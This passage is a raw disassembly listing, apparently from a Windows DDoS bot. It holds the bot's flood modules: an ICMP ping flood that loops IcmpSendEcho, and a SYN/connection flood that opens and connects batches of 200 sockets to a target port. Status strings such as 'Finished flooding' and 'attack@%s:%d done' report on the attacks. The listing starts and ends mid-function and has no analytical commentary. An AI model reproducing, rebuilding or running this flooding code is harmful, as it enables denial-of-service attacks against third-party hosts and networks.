mov dl, [esi+93h]
mov ecx, ebp
mov [ebp+8Fh], dl
mov al, [esi+94h]
mov [ebp+90h], al
call sub_4013DE
mov ebp, [esp+54h]
loc_427058: ; CODE XREF: ___:00426F01j
lea ecx, [ebx+8Eh]
call sub_4014DD
push eax
mov ecx, ebp
call sub_4012EE
test eax, eax
jnz loc_4271CA
push 95h
call sub_437AEA
; ---------------------------------------------------------------------------
add esp, 4
mov [esp+10h], eax
test eax, eax
mov dword ptr [esp+4Ch], 5
jz short loc_42709B
mov ecx, eax
call sub_401BDB
mov ebp, eax
jmp short loc_42709D
; ---------------------------------------------------------------------------
loc_42709B: ; CODE XREF: ___:0042708Ej
xor ebp, ebp
loc_42709D: ; CODE XREF: ___:00427099j
push offset asc_444600 ; " "
lea ecx, [esp+18h]
push 1
push ecx
mov byte ptr [ebx+11Ch], 1
mov ecx, esi
mov dword ptr [esp+58h], 0FFFFFFFFh
mov [ebp+91h], ebx
call sub_4016B8
push eax
lea ecx, [ebp+3Bh]
mov dword ptr [esp+50h], 6
call sub_401FDC
lea ecx, [esp+14h]
mov dword ptr [esp+4Ch], 0FFFFFFFFh
call sub_401226
push offset asc_444600 ; " "
lea edx, [esp+18h]
push 2
push edx
mov ecx, esi
call sub_4016B8
mov ecx, eax
mov dword ptr [esp+4Ch], 7
call sub_4017EE
push eax
call edi
add esp, 4
lea ecx, [esp+14h]
mov [ebp+50h], eax
mov dword ptr [esp+4Ch], 0FFFFFFFFh
call sub_401226
push offset asc_444600 ; " "
lea eax, [esp+18h]
push 3
push eax
mov ecx, esi
call sub_4016B8
mov ecx, eax
mov dword ptr [esp+4Ch], 8
call sub_4017EE
push eax
call edi
add esp, 4
lea ecx, [esp+14h]
mov [ebp+54h], eax
mov dword ptr [esp+4Ch], 0FFFFFFFFh
call sub_401226
push offset asc_444600 ; " "
lea ecx, [esp+18h]
push 4
push ecx
mov ecx, esi
call sub_4016B8
mov ecx, eax
mov dword ptr [esp+4Ch], 9
call sub_4017EE
push eax
call edi
add esp, 4
lea ecx, [esp+14h]
mov [ebp+58h], eax
mov dword ptr [esp+4Ch], 0FFFFFFFFh
call sub_401226
lea edx, [esi+69h]
lea ecx, [ebp+26h]
push edx
call sub_401FDC
mov al, [esi+93h]
mov [ebp+8Fh], al
mov cl, [esi+94h]
mov [ebp+90h], cl
mov ecx, ebp
call sub_4013DE
mov ebp, [esp+54h]
loc_4271CA: ; CODE XREF: ___:0042706Dj
lea ecx, [ebx+4]
call sub_4014DD
push eax
mov ecx, ebp
call sub_4012EE
test eax, eax
jnz loc_427339
push 95h
call sub_437AEA
; ---------------------------------------------------------------------------
add esp, 4
mov [esp+10h], eax
test eax, eax
mov dword ptr [esp+4Ch], 0Ah
jz short loc_42720A
mov ecx, eax
call sub_40130C
mov ebp, eax
jmp short loc_42720C
; ---------------------------------------------------------------------------
loc_42720A: ; CODE XREF: ___:004271FDj
xor ebp, ebp
loc_42720C: ; CODE XREF: ___:00427208j
push offset asc_444600 ; " "
lea edx, [esp+18h]
push 1
mov byte ptr [ebx+11Ch], 1
push edx
mov ecx, esi
mov dword ptr [esp+58h], 0FFFFFFFFh
mov [ebp+91h], ebx
call sub_4016B8
push eax
lea ecx, [ebp+3Bh]
mov dword ptr [esp+50h], 0Bh
call sub_401FDC
lea ecx, [esp+14h]
mov dword ptr [esp+4Ch], 0FFFFFFFFh
call sub_401226
push offset asc_444600 ; " "
lea eax, [esp+18h]
push 2
push eax
mov ecx, esi
call sub_4016B8
mov ecx, eax
mov dword ptr [esp+4Ch], 0Ch
call sub_4017EE
push eax
call edi
add esp, 4
lea ecx, [esp+14h]
mov [ebp+5Ch], eax
mov dword ptr [esp+4Ch], 0FFFFFFFFh
call sub_401226
push offset asc_444600 ; " "
lea ecx, [esp+18h]
push 3
push ecx
mov ecx, esi
call sub_4016B8
mov ecx, eax
mov dword ptr [esp+4Ch], 0Dh
call sub_4017EE
push eax
call edi
add esp, 4
lea ecx, [esp+14h]
mov [ebp+60h], eax
mov dword ptr [esp+4Ch], 0FFFFFFFFh
call sub_401226
push offset asc_444600 ; " "
lea edx, [esp+18h]
push 4
push edx
mov ecx, esi
call sub_4016B8
mov ecx, eax
mov dword ptr [esp+4Ch], 0Eh
call sub_4017EE
push eax
call edi
add esp, 4
lea ecx, [esp+14h]
mov [ebp+54h], eax
mov dword ptr [esp+4Ch], 0FFFFFFFFh
call sub_401226
lea eax, [esi+69h]
lea ecx, [ebp+26h]
push eax
call sub_401FDC
mov cl, [esi+93h]
mov [ebp+8Fh], cl
mov dl, [esi+94h]
mov ecx, ebp
mov [ebp+90h], dl
call sub_4013DE
mov ebp, [esp+54h]
loc_427339: ; CODE XREF: ___:004271DCj
lea ecx, [ebx+32h]
call sub_4014DD
push eax
mov ecx, ebp
call sub_4012EE
test eax, eax
jnz loc_4274E4
push 95h
call sub_437AEA
; ---------------------------------------------------------------------------
add esp, 4
mov [esp+10h], eax
test eax, eax
mov dword ptr [esp+4Ch], 0Fh
jz short loc_427379
mov ecx, eax
call sub_40178F
mov ebp, eax
jmp short loc_42737B
; ---------------------------------------------------------------------------
loc_427379: ; CODE XREF: ___:0042736Cj
xor ebp, ebp
loc_42737B: ; CODE XREF: ___:00427377j
push offset asc_444600 ; " "
lea eax, [esp+18h]
push 1
mov byte ptr [ebx+11Ch], 1
push eax
mov ecx, esi
mov dword ptr [esp+58h], 0FFFFFFFFh
mov [ebp+91h], ebx
call sub_4016B8
push eax
lea ecx, [ebp+3Bh]
mov dword ptr [esp+50h], 10h
call sub_401FDC
lea ecx, [esp+14h]
mov dword ptr [esp+4Ch], 0FFFFFFFFh
call sub_401226
push offset asc_444600 ; " "
lea ecx, [esp+18h]
push 2
push ecx
mov ecx, esi
call sub_4016B8
mov ecx, eax
mov dword ptr [esp+4Ch], 11h
call sub_4017EE
push eax
call edi
add esp, 4
lea ecx, [esp+14h]
mov [ebp+5Ch], eax
mov dword ptr [esp+4Ch], 0FFFFFFFFh
call sub_401226
push offset asc_444600 ; " "
lea edx, [esp+18h]
push 3
push edx
mov ecx, esi
call sub_4016B8
mov ecx, eax
mov dword ptr [esp+4Ch], 12h
call sub_4017EE
push eax
call edi
add esp, 4
lea ecx, [esp+14h]
mov [ebp+60h], eax
mov dword ptr [esp+4Ch], 0FFFFFFFFh
call sub_401226
push offset asc_444600 ; " "
lea eax, [esp+18h]
push 4
push eax
mov ecx, esi
call sub_4016B8
mov ecx, eax
mov dword ptr [esp+4Ch], 13h
call sub_4017EE
push eax
call edi
add esp, 4
lea ecx, [esp+14h]
mov [ebp+54h], eax
mov dword ptr [esp+4Ch], 0FFFFFFFFh
call sub_401226
push offset asc_444600 ; " "
lea ecx, [esp+30h]
push 5
push ecx
mov ecx, esi
call sub_4016B8
mov ecx, eax
mov dword ptr [esp+4Ch], 14h
call sub_4017EE
push eax
call edi
add esp, 4
lea ecx, [esp+2Ch]
mov [ebp+58h], eax
mov dword ptr [esp+4Ch], 0FFFFFFFFh
call sub_401226
lea edx, [esi+69h]
lea ecx, [ebp+26h]
push edx
call sub_401FDC
mov al, [esi+93h]
mov [ebp+8Fh], al
mov cl, [esi+94h]
mov [ebp+90h], cl
mov ecx, ebp
call sub_4013DE
mov ebp, [esp+54h]
loc_4274E4: ; CODE XREF: ___:0042734Bj
lea ecx, [ebx+0EAh]
call sub_4014DD
push eax
mov ecx, ebp
call sub_4012EE
test eax, eax
jnz short loc_427501
mov [ebx+11Ch], al
loc_427501: ; CODE XREF: ___:004274F9j
mov ecx, [esp+44h]
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
mov large fs:0, ecx
add esp, 40h
retn 4
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 1A0h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4276C0 proc near ; CODE XREF: sub_401A78j
var_4 = dword ptr -4
push ecx
mov edx, dword_449A14
push esi
mov esi, ecx
mov eax, [esi+91h]
mov ecx, [eax+118h]
cmp edx, ecx
jl short loc_4276E1
inc ecx
mov [eax+118h], ecx
loc_4276E1: ; CODE XREF: sub_4276C0+18j
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+8]
mov eax, [esi+91h]
mov [esp+8+var_4], esi
mov ecx, [eax+118h]
dec ecx
mov [eax+118h], ecx
lea ecx, [esp+8+var_4]
push ecx
mov ecx, offset byte_4E8EAB
call sub_40120D
sub_4276C0 endp
; ---------------------------------------------------------------------------
xor eax, eax
pop esi
pop ecx
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_427740 proc near ; CODE XREF: sub_40130Cj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_427740
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_401F9B
push offset aPing ; "ping"
lea ecx, [esi+11h]
mov [esp+18h+var_4], 0
mov dword ptr [esi], offset off_43F0DC
call sub_4015E1
mov ecx, [esp+14h+var_C]
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_427740 endp
; ---------------------------------------------------------------------------
db 90h
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4277B0 proc near ; CODE XREF: sub_401F9Bj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_4277B0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_401E88
lea ecx, [esi+11h]
mov [esp+14h+var_4], 0
call sub_40142E
lea ecx, [esi+26h]
mov byte ptr [esp+14h+var_4], 1
call sub_40142E
lea ecx, [esi+3Bh]
mov byte ptr [esp+14h+var_4], 2
call sub_40142E
lea ecx, [esi+64h]
mov byte ptr [esp+14h+var_4], 3
call sub_40142E
lea ecx, [esi+79h]
mov byte ptr [esp+14h+var_4], 4
call sub_40142E
mov ecx, [esp+14h+var_C]
mov dword ptr [esi], offset off_43F0EC
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_4277B0 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_427850 proc near ; CODE XREF: sub_4014CEj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_427850
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
mov dword ptr [esi], offset off_43F0EC
lea ecx, [esi+79h]
mov [esp+14h+var_4], 4
call sub_401226
lea ecx, [esi+64h]
mov byte ptr [esp+14h+var_4], 3
call sub_401226
lea ecx, [esi+3Bh]
mov byte ptr [esp+14h+var_4], 2
call sub_401226
lea ecx, [esi+26h]
mov byte ptr [esp+14h+var_4], 1
call sub_401226
lea ecx, [esi+11h]
mov byte ptr [esp+14h+var_4], 0
call sub_401226
mov ecx, esi
mov [esp+14h+var_4], 0FFFFFFFFh
call sub_40204F
mov ecx, [esp+14h+var_C]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_427850 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 30h dup(0CCh)
; ---------------------------------------------------------------------------
loc_427910: ; CODE XREF: ___:loc_4016DBj
; ___:0040219Ej
push esi
mov esi, ecx
call sub_4014CE
test byte ptr [esp+8], 1
jz short loc_427928
push esi
call sub_437AD2
; ---------------------------------------------------------------------------
add esp, 4
loc_427928: ; CODE XREF: ___:0042791Dj
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_427940 proc near ; CODE XREF: sub_4011FEj ___:0040209Fj
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_4020AE
test [esp+4+arg_0], 1
jz short loc_427958
push esi
call sub_437AD2
; ---------------------------------------------------------------------------
add esp, 4
loc_427958: ; CODE XREF: sub_427940+Dj
mov eax, esi
pop esi
retn 4
sub_427940 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_427970 proc near ; CODE XREF: sub_4020AEj
jmp sub_4014CE
sub_427970 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_427990 proc near ; CODE XREF: sub_401A50j
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_427990
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 18h
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov eax, [esi+54h]
mov ecx, [esi+60h]
mov edx, [esi+5Ch]
lea edi, [esi+3Bh]
push eax
push ecx
push edx
mov ecx, edi
lea ebx, [esi+11h]
lea ebp, [esi+26h]
call sub_4017EE
push eax
mov ecx, ebx
call sub_4017EE
push eax
push offset aSSUtimesUbytes ; "%s: %s (%utimes/%ubytes/%dms)"
mov ecx, ebp
call sub_4014DD
mov cl, [esi+8Fh]
push eax
mov al, [esi+90h]
push eax
push ecx
push offset byte_4D8085
call sub_401857
add esp, 28h
lea ecx, [esp+34h+var_24]
call sub_40142E
mov edx, [esi+54h]
mov eax, [esi+60h]
mov ecx, [esi+5Ch]
push edx
push eax
push ecx
mov ecx, edi
mov [esp+40h+var_4], 0
call sub_4014DD
push eax
call sub_40183E
add esp, 10h
test eax, eax
jz short loc_427A54
mov edx, [esi+5Ch]
mov ecx, edi
push edx
call sub_4017EE
push eax
mov ecx, ebx
call sub_4017EE
push eax
lea eax, [esp+40h+var_24]
push offset aSFinishedFlood ; "[%s] Finished flooding %s %d Times"
push eax
call sub_40102D
add esp, 14h
jmp short loc_427A6E
; ---------------------------------------------------------------------------
loc_427A54: ; CODE XREF: sub_427990+9Aj
mov ecx, ebx
call sub_4017EE
push eax
lea ecx, [esp+38h+var_24]
push offset aSCannotSendPin ; "[%s] Cannot send pings - Doesn't have D"...
push ecx
call sub_40102D
add esp, 0Ch
loc_427A6E: ; CODE XREF: sub_427990+C2j
lea ecx, [esp+34h+var_24]
call sub_4017EE
push eax
mov ecx, ebp
call sub_4014DD
mov dl, [esi+90h]
push eax
mov al, [esi+8Fh]
push edx
push eax
push offset byte_4D8085
call sub_401857
add esp, 14h
lea ecx, [esp+34h+var_24]
mov [esp+34h+var_4], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+34h+var_C]
pop edi
pop esi
pop ebp
pop ebx
mov large fs:0, ecx
add esp, 24h
retn
sub_427990 endp
; ---------------------------------------------------------------------------
db 90h
db 50h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_427B10 proc near ; CODE XREF: sub_401E9Cj
var_1A = byte ptr -1Ah
var_18 = byte ptr -18h
arg_0 = byte ptr 4
arg_FFE0 = dword ptr 0FFE4h
arg_FFE4 = dword ptr 0FFE8h
arg_FFE8 = dword ptr 0FFECh
arg_FFEC = dword ptr 0FFF0h
mov eax, 0FFFCh
call sub_437B30
push esi
push edi
push offset aIcmp_dll ; "ICMP.DLL"
nop
call near ptr 27E09C7h
mov esi, eax
test esi, esi
jz short loc_427B7A
mov edi, dword_511918
push offset aIcmpcreatefile ; "IcmpCreateFile"
push esi
call edi
push offset aIcmpclosehandl ; "IcmpCloseHandle"
push esi
mov dword_51012C, eax
call edi
push offset aIcmpsendecho ; "IcmpSendEcho"
push esi
mov dword_510130, eax
call edi
mov ecx, dword_51012C
mov dword_510128, eax
test ecx, ecx
jz short loc_427B7A
mov edx, dword_510130
test edx, edx
jz short loc_427B7A
test eax, eax
jz short loc_427B7A
mov al, [esp+0Bh]
test al, al
jz short loc_427B85
loc_427B7A: ; CODE XREF: sub_427B10+1Bj
; sub_427B10+52j ...
pop edi
xor eax, eax
pop esi
add esp, 0FFFCh
retn
; ---------------------------------------------------------------------------
loc_427B85: ; CODE XREF: sub_427B10+68j
mov edx, [esp+24h+arg_FFE8]
mov eax, 0FFDCh
cmp edx, eax
jle short loc_427B9C
mov [esp+24h+arg_FFE8], eax
loc_427B9C: ; CODE XREF: sub_427B10+83j
push ebx
push ebp
mov ebp, [esp+2Ch+arg_FFEC]
cmp ebp, 1
jge short loc_427BAF
mov ebp, 1
loc_427BAF: ; CODE XREF: sub_427B10+98j
call ecx ; IcmpCreateFile
mov ebx, [esp+2Ch+arg_FFE4]
xor esi, esi
test ebx, ebx
mov edi, eax
jle short loc_427BF4
loc_427BC0: ; CODE XREF: sub_427B10+E2j
mov al, byte_4D84C9
test al, al
jz short loc_427BF4
mov ecx, [esp+2Ch+arg_FFE8]
push ebp
lea eax, [esp+30h+var_18]
push 1Ch
push eax
mov eax, [esp+38h+arg_FFE0]
push 0
lea edx, [esp+3Ch+arg_0]
push ecx
push edx
push eax
push edi
call dword_510128 ; IcmpSendEcho
inc esi
cmp esi, ebx
jl short loc_427BC0
loc_427BF4: ; CODE XREF: sub_427B10+AEj
; sub_427B10+B7j
push edi
call dword_510130 ; IcmpCloseHandle
pop ebp
pop ebx
pop edi
mov eax, 1
pop esi
add esp, 0FFFCh
retn
sub_427B10 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 40h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_427C50 proc near ; CODE XREF: sub_40183Ej
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
mov eax, [esp+arg_0]
push eax
call sub_40188E
mov ecx, [esp+4+arg_C]
mov edx, [esp+4+arg_8]
push ecx
mov ecx, [esp+8+arg_4]
push edx
push ecx
push eax
call sub_401E9C
add esp, 14h
retn
sub_427C50 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_427C90 proc near ; CODE XREF: sub_401BDBj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_427C90
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_401F9B
push offset aForsyn ; "forsyn"
lea ecx, [esi+11h]
mov [esp+18h+var_4], 0
mov dword ptr [esi], offset nullsub_10
call sub_4015E1
mov ecx, [esp+14h+var_C]
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_427C90 endp
; ---------------------------------------------------------------------------
db 90h
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_427D00: ; CODE XREF: ___:00401A28j
; ___:00401AC3j
push esi
mov esi, ecx
call sub_401807
test byte ptr [esp+8], 1
jz short loc_427D18
push esi
call sub_437AD2
; ---------------------------------------------------------------------------
add esp, 4
loc_427D18: ; CODE XREF: ___:00427D0Dj
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_427D30 proc near ; CODE XREF: sub_401807j
jmp sub_4014CE
sub_427D30 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_427D50 proc near ; CODE XREF: sub_401366j
var_28 = dword ptr -28h
var_24 = byte ptr -24h
var_1C = dword ptr -1Ch
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_427D50
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 1Ch
push ebx
mov ebx, ecx
xor eax, eax
mov ecx, offset byte_4E7D9F
mov [esp+2Ch+var_28], eax
loc_427D76: ; CODE XREF: sub_427D50+35j
cmp dword ptr [ecx], 0
jz short loc_427D87
add ecx, 78h
inc eax
cmp ecx, offset byte_4E86FF
jl short loc_427D76
loc_427D87: ; CODE XREF: sub_427D50+29j
cmp eax, 13h
mov [esp+2Ch+var_28], eax
jg loc_427F39
lea eax, [eax+eax*2]
push ebp
push esi
push edi
lea eax, [eax+eax*4]
lea ecx, [ebx+3Bh]
lea ebp, ds:4E7D2Bh[eax*8]
call sub_4017EE
mov edi, eax
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, ebp
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
mov cx, [ebx+58h]
push ecx
call near ptr 71AB2B66h
nop
and eax, 0FFFFh
mov [ebp+64h], eax
mov eax, [ebx+54h]
cmp eax, 5
mov [ebp+68h], eax
jge short loc_427DF0
mov dword ptr [ebp+68h], 5
loc_427DF0: ; CODE XREF: sub_427D50+97j
mov edx, [ebx+50h]
mov ecx, 80h
xor eax, eax
mov edi, offset dword_510138
mov [ebp+6Ch], edx
lea esi, [ebx+11h]
rep stosd
mov eax, [ebx+50h]
mov ecx, [ebx+58h]
push eax
push ecx
lea ecx, [ebx+3Bh]
lea edi, [ebx+26h]
call sub_4017EE
push eax
mov ecx, esi
call sub_4017EE
push eax
push offset aSSUDseconds ; "%s: %s:%u (%dseconds)"
mov ecx, edi
call sub_4014DD
mov dl, [ebx+90h]
push eax
mov al, [ebx+8Fh]
push edx
push eax
push offset byte_4D8085
call sub_401857
mov ecx, [esp+50h+var_1C]
add esp, 24h
push offset dword_510338
push 0
push ecx
push offset sub_4012C1
push 0
push 0
nop
call near ptr 279011Ch
test eax, eax
mov dword_51033C, eax
jz short loc_427E8B
push offset dword_448F44
push 5
push eax
push 0
push offset dword_510138
call sub_4013F2
add esp, 14h
mov [ebp+70h], eax
jmp short loc_427EBB
; ---------------------------------------------------------------------------
loc_427E8B: ; CODE XREF: sub_427D50+11Dj
mov ecx, esi
call sub_4017EE
push eax
push offset aSErrorCreating ; "%s: error creating threads"
mov ecx, edi
call sub_4014DD
mov dl, [ebx+90h]
push eax
mov al, [ebx+8Fh]
push edx
push eax
push offset byte_4D8085
call sub_401857
add esp, 18h
loc_427EBB: ; CODE XREF: sub_427D50+139j
lea ecx, [esp+38h+var_24]
call sub_40142E
mov ecx, [ebx+58h]
mov [esp+38h+var_4], 0
push ecx
lea ecx, [ebx+3Bh]
call sub_4017EE
push eax
mov ecx, esi
call sub_4017EE
push eax
lea edx, [esp+44h+var_24]
push offset aSAttack@SDDone ; "%s: attack@%s:%d done."
push edx
call sub_40102D
add esp, 14h
lea ecx, [esp+38h+var_24]
call sub_4017EE
push eax
push offset aS ; "%s"
mov ecx, edi
call sub_4014DD
mov cl, [ebx+8Fh]
push eax
mov al, [ebx+90h]
push eax
push ecx
push offset byte_4D8085
call sub_401857
add esp, 18h
lea ecx, [esp+38h+var_24]
mov [esp+38h+var_4], 0FFFFFFFFh
call sub_401226
pop edi
pop esi
pop ebp
loc_427F39: ; CODE XREF: sub_427D50+3Ej
mov ecx, [esp+2Ch+var_C]
pop ebx
mov large fs:0, ecx
add esp, 28h
retn
sub_427D50 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 80h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_427FD0 proc near ; CODE XREF: sub_4012C1j
var_338 = dword ptr -338h
var_334 = dword ptr -334h
var_330 = dword ptr -330h
var_32C = dword ptr -32Ch
var_328 = dword ptr -328h
var_324 = dword ptr -324h
var_320 = byte ptr -320h
arg_0 = dword ptr 4
sub esp, 338h
mov eax, [esp+338h+arg_0]
push ebp
push esi
mov esi, 1
lea eax, [eax+eax*2]
lea eax, [eax+eax*4]
lea ebp, ds:4E7D2Bh[eax*8]
xor eax, eax
mov [esp+340h+var_334], eax
mov word ptr [esp+340h+var_334], 2
mov [ebp+74h], esi
mov cx, [ebp+64h]
mov [esp+340h+var_330], eax
push ecx
mov [esp+344h+var_32C], eax
mov [esp+344h+var_328], eax
nop
call near ptr 71AB2B66h
push ebp
mov [esp+344h+var_324], esi
mov word ptr [esp+344h+var_334+2], ax
call near ptr 71AB2BF4h
nop
cmp eax, 0FFFFFFFFh
jnz short loc_428066
push ebp
nop
call near ptr 71AB4FD4h
xor edx, edx
cmp eax, edx
jnz short loc_42805F
mov [ebp+74h], edx
mov ecx, [ebp+70h]
pop esi
pop ebp
lea eax, [ecx+ecx*4]
shl eax, 4
sub eax, ecx
lea eax, [eax+eax*4]
mov dword_4D8745[eax*2], edx
xor eax, eax
add esp, 338h
retn 4
; ---------------------------------------------------------------------------
loc_42805F: ; CODE XREF: sub_427FD0+68j
mov ecx, [eax+0Ch]
mov edx, [ecx]
mov eax, [edx]
loc_428066: ; CODE XREF: sub_427FD0+5Bj
mov [esp+340h+var_330], eax
mov eax, [ebp+6Ch]
push ebx
push edi
test eax, eax
mov [esp+348h+var_338], 0
jle loc_428116
mov ebx, dword_511C3C
loc_428085: ; CODE XREF: sub_427FD0+140j
mov al, byte_4D84C9
test al, al
jz loc_428116
lea esi, [esp+348h+var_320]
mov edi, 0C8h
loc_42809B: ; CODE XREF: sub_427FD0+EFj
push 0
push 1
push 2
call ebx
cmp eax, 0FFFFFFFFh
mov [esi], eax
jz short loc_4280BB
lea ecx, [esp+348h+var_324]
push ecx
push 8004667Eh
push eax
nop
call near ptr 71AB4519h
loc_4280BB: ; CODE XREF: sub_427FD0+D8j
add esi, 4
dec edi
jnz short loc_42809B
lea esi, [esp+348h+var_320]
mov edi, 0C8h
loc_4280CA: ; CODE XREF: sub_427FD0+10Ej
mov eax, [esi]
lea edx, [esp+348h+var_334]
push 10h
push edx
push eax
call near ptr 71AB406Ah
nop
add esi, 4
dec edi
jnz short loc_4280CA
mov ecx, [ebp+68h]
push ecx
nop
call near ptr 2831CE8h
lea esi, [esp+348h+var_320]
mov edi, 0C8h
loc_4280F3: ; CODE XREF: sub_427FD0+130j
mov edx, [esi]
push edx
call near ptr 71AB9639h
nop
add esi, 4
dec edi
jnz short loc_4280F3
mov eax, [esp+348h+var_338]
mov ecx, [ebp+6Ch]
inc eax
cmp eax, ecx
mov [esp+348h+var_338], eax
jl loc_428085
loc_428116: ; CODE XREF: sub_427FD0+A9j
; sub_427FD0+BCj
xor edx, edx
pop edi
mov [ebp+74h], edx
mov ecx, [ebp+70h]
pop ebx
pop esi
lea eax, [ecx+ecx*4]
pop ebp
shl eax, 4
sub eax, ecx
lea eax, [eax+eax*4]
mov dword_4D8745[eax*2], edx
xor eax, eax
add esp, 338h
retn 4
sub_427FD0 endp
; ---------------------------------------------------------------------------
db 90h
db 60h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4281A0 proc near ; CODE XREF: sub_401DF2j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_4281A0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_401F9B
push offset aSyn ; "syn"
lea ecx, [esi+11h]
mov [esp+18h+var_4], 0
mov dword ptr [esi], offset off_43F10C
call sub_4015E1
mov ecx, [esp+14h+var_C]
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_4281A0 endp
; ---------------------------------------------------------------------------
db 90h
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_428210 proc near ; CODE XREF: ___:004016E5j sub_40182Aj
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_4010FF
test [esp+4+arg_0], 1
jz short loc_428228
push esi
call sub_437AD2
; ---------------------------------------------------------------------------
add esp, 4
loc_428228: ; CODE XREF: sub_428210+Dj
mov eax, esi
pop esi
retn 4
sub_428210 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_428240 proc near ; CODE XREF: sub_4010FFj
jmp sub_4014CE
sub_428240 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_428260 proc near ; CODE XREF: sub_401EB0j
var_24 = byte ptr -24h
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_428260
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 18h
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov eax, [esi+54h]
mov ecx, [esi+50h]
mov edx, [esi+58h]
lea edi, [esi+3Bh]
push eax
push ecx
push edx
mov ecx, edi
lea ebx, [esi+11h]
lea ebp, [esi+26h]
call sub_4017EE
push eax
mov ecx, ebx
call sub_4017EE
push eax
push offset aSSUUsecDms ; "%s: %s:%u (%usec/%dms)"
mov ecx, ebp
call sub_4014DD
mov cl, [esi+8Fh]
push eax
mov al, [esi+90h]
push eax
push ecx
push offset byte_4D8085
call sub_401857
add esp, 28h
lea ecx, [esp+34h+var_24]
call sub_40142E
mov edx, [esi+54h]
mov eax, [esi+50h]
mov ecx, [esi+58h]
push edx
push eax
push ecx
mov ecx, edi
mov [esp+40h+var_4], 0
call sub_4014DD
push eax
call sub_401DCF
sub_428260 endp
; ---------------------------------------------------------------------------
cdq
and edx, 3FFh
add esp, 10h
add eax, edx
mov ecx, edi
sar eax, 0Ah
cdq
idiv dword ptr [esi+50h]
mov edx, [esi+58h]
push eax
push edx
call sub_4017EE
push eax
mov ecx, ebx
call sub_4017EE
push eax
lea eax, [esp+20h]
push offset aSSDIkbSec ; "%s: %s:%d (%ikb/sec)"
push eax
call sub_40102D
add esp, 18h
lea ecx, [esp+10h]
call sub_4017EE
push eax
mov ecx, ebp
call sub_4014DD
mov cl, [esi+90h]
mov dl, [esi+8Fh]
push eax
